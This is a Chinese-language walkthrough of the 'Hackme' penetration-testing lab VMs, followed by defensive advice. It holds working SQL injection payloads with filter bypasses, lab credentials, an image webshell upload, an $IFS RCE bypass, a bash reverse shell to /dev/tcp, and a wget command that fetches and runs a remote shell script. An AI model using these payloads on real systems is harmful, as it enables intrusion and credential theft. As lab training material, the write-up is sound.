Hackme渗透靶场WriteUp
字数 1151 2025-08-24 07:48:33

Hackme渗透靶场WriteUp教学文档

1. 靶场概述

Hackme是一个包含两个独立靶机(hackme1和hackme2)的渗透测试练习环境,主要考察以下技能:

  • 信息收集
  • SQL注入
  • 文件上传漏洞利用
  • 权限提升
  • RCE(远程代码执行)

2. Hackme1渗透过程

2.1 信息收集阶段

  1. 主机扫描

    arp-scan -l
    
  2. 端口扫描

    • 快速扫描:
      masscan -p 0-65535 --rate=100000 192.168.150.146
      
    • 详细扫描:
      nmap -sV -p 80,22 -O -T4 192.168.150.146
      
  3. 目录扫描

    • 使用dirb:
      dirb http://192.168.150.146 /usr/share/wordlists/dirb/big.txt
      
    • 使用gobuster:
      gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.150.146 -t 30
      
  4. 网站指纹识别

    whatweb http://192.168.150.146
    

2.2 漏洞分析与利用

  1. SQL注入

    • 发现书籍查询功能存在SQL注入漏洞
    • 手动注入步骤:
      1' union select 1,2,3#
      1' union select database(),2,3#
      1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#
      1' union select group_concat(column_name),2,3 from information_schema.columns where table_schema='webapphacking' and table_name='users'#
      1' union select group_concat(user,0x5c,pasword),2,3 from webapphacking.users#
      
    • 获取的凭证(MD5解密后):
      user1\hello
      user2\commando
      user3\p@ssw0rd
      test\testtest
      superadmin\Uncrackable
      test1\testtest
      admin\123456
      
  2. 文件上传漏洞

    • 使用admin/123456登录后,发现文件上传功能
    • 上传图片马并连接蚁剑
  3. 权限提升

    • 在/home/legacy目录下发现touchmenot二进制文件
    • 执行该文件获得root权限

3. Hackme2渗透过程

3.1 信息收集阶段

与hackme1相同:

arp-scan -l
masscan -p 0-65535 --rate=100000 192.168.150.146
nmap -sV -p 80,22 -O -T4 192.168.150.146
dirb http://192.168.150.146 /usr/share/wordlists/dirb/big.txt
gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.150.146 -t 30

3.2 漏洞分析与利用

  1. SQL注入

    • 发现使用LIKE语句的SQL注入:
      OSI%' and '123' like '1
      
    • 绕过空格过滤:
      OSI%'/**/union/**/select/**/database(),2,3/**/like/**/'1
      
    • 完整注入流程:
      OSI%'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'webapp
      OSI%'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_schema='webapphacking'/**/and/**/table_name/**/like/**/'use
      OSI%'/**/union/**/select/**/group_concat(user,0x5c,pasword),2,3/**/from/**/users/**/where/**/'1'/**/like/**/'1
      
    • 获取的凭证(MD5解密后):
      user1\hello
      user2\commando
      user3\p@ssw0rd
      test\testtest
      superadmin\Uncrackable
      test1\testtest
      123\123456
      
  2. RCE(远程代码执行)

    • 发现输入框存在RCE漏洞
    • 绕过空格过滤:
      system('ls$IFS$9/');
      
    • 反弹shell:
      bash -c "bash -i >& /dev/tcp/vps/2333 0>&1"
      
    • 使用hex2bin/base64_decode编码绕过过滤
  3. 权限提升

    • 同样在/home/legacy目录下发现touchmenot二进制文件
    • 执行该文件获得root权限

4. 关键技术与技巧总结

  1. SQL注入绕过技巧

    • 使用/**/代替空格
    • 使用LIKE代替=
    • 使用hex编码绕过关键词过滤
  2. 文件上传利用

    • 简单的图片马即可绕过基础防护
    • 使用wget下载远程shell脚本:
      wget http://攻击机IP/shell.py -O /tmp/shell.py
      python /tmp/shell.py
      
  3. RCE绕过技巧

    • 使用$IFS$9代替空格
    • 使用hex编码或base64编码绕过特殊字符过滤
    • 使用system()函数执行命令
  4. 权限提升方法

    • 检查/home目录下的特殊二进制文件
    • 利用SUID提权(虽然本靶场不适用)
    • 检查/etc/passwd中的可登录用户

5. 防御建议

  1. 防止SQL注入

    • 使用预处理语句
    • 对用户输入进行严格过滤
    • 避免直接拼接SQL语句
  2. 防止文件上传漏洞

    • 检查文件类型和内容
    • 限制上传文件扩展名
    • 将上传文件存储在非web目录
  3. 防止RCE

    • 避免直接执行用户输入
    • 使用白名单过滤输入
    • 禁用危险函数如system(), exec()
  4. 权限控制

    • 遵循最小权限原则
    • 定期检查系统上的SUID文件
    • 限制用户目录权限

6. 总结

Hackme靶场通过两个不同的场景展示了常见的Web应用漏洞:

  • hackme1:SQL注入 → 文件上传 → 权限提升
  • hackme2:SQL注入 → RCE → 权限提升

这两个靶场涵盖了从信息收集到最终获取系统权限的完整渗透测试流程,是学习Web应用渗透测试的优质练习环境。

Hackme渗透靶场WriteUp教学文档 1. 靶场概述 Hackme是一个包含两个独立靶机(hackme1和hackme2)的渗透测试练习环境,主要考察以下技能: 信息收集 SQL注入 文件上传漏洞利用 权限提升 RCE(远程代码执行) 2. Hackme1渗透过程 2.1 信息收集阶段 主机扫描 端口扫描 快速扫描: 详细扫描: 目录扫描 使用dirb: 使用gobuster: 网站指纹识别 2.2 漏洞分析与利用 SQL注入 发现书籍查询功能存在SQL注入漏洞 手动注入步骤: 获取的凭证(MD5解密后): 文件上传漏洞 使用admin/123456登录后,发现文件上传功能 上传图片马并连接蚁剑 权限提升 在/home/legacy目录下发现touchmenot二进制文件 执行该文件获得root权限 3. Hackme2渗透过程 3.1 信息收集阶段 与hackme1相同: 3.2 漏洞分析与利用 SQL注入 发现使用LIKE语句的SQL注入: 绕过空格过滤: 完整注入流程: 获取的凭证(MD5解密后): RCE(远程代码执行) 发现输入框存在RCE漏洞 绕过空格过滤: 反弹shell: 使用hex2bin/base64_ decode编码绕过过滤 权限提升 同样在/home/legacy目录下发现touchmenot二进制文件 执行该文件获得root权限 4. 关键技术与技巧总结 SQL注入绕过技巧 使用 /**/ 代替空格 使用LIKE代替= 使用hex编码绕过关键词过滤 文件上传利用 简单的图片马即可绕过基础防护 使用wget下载远程shell脚本: RCE绕过技巧 使用 $IFS$9 代替空格 使用hex编码或base64编码绕过特殊字符过滤 使用system()函数执行命令 权限提升方法 检查/home目录下的特殊二进制文件 利用SUID提权(虽然本靶场不适用) 检查/etc/passwd中的可登录用户 5. 防御建议 防止SQL注入 使用预处理语句 对用户输入进行严格过滤 避免直接拼接SQL语句 防止文件上传漏洞 检查文件类型和内容 限制上传文件扩展名 将上传文件存储在非web目录 防止RCE 避免直接执行用户输入 使用白名单过滤输入 禁用危险函数如system(), exec() 权限控制 遵循最小权限原则 定期检查系统上的SUID文件 限制用户目录权限 6. 总结 Hackme靶场通过两个不同的场景展示了常见的Web应用漏洞: hackme1:SQL注入 → 文件上传 → 权限提升 hackme2:SQL注入 → RCE → 权限提升 这两个靶场涵盖了从信息收集到最终获取系统权限的完整渗透测试流程,是学习Web应用渗透测试的优质练习环境。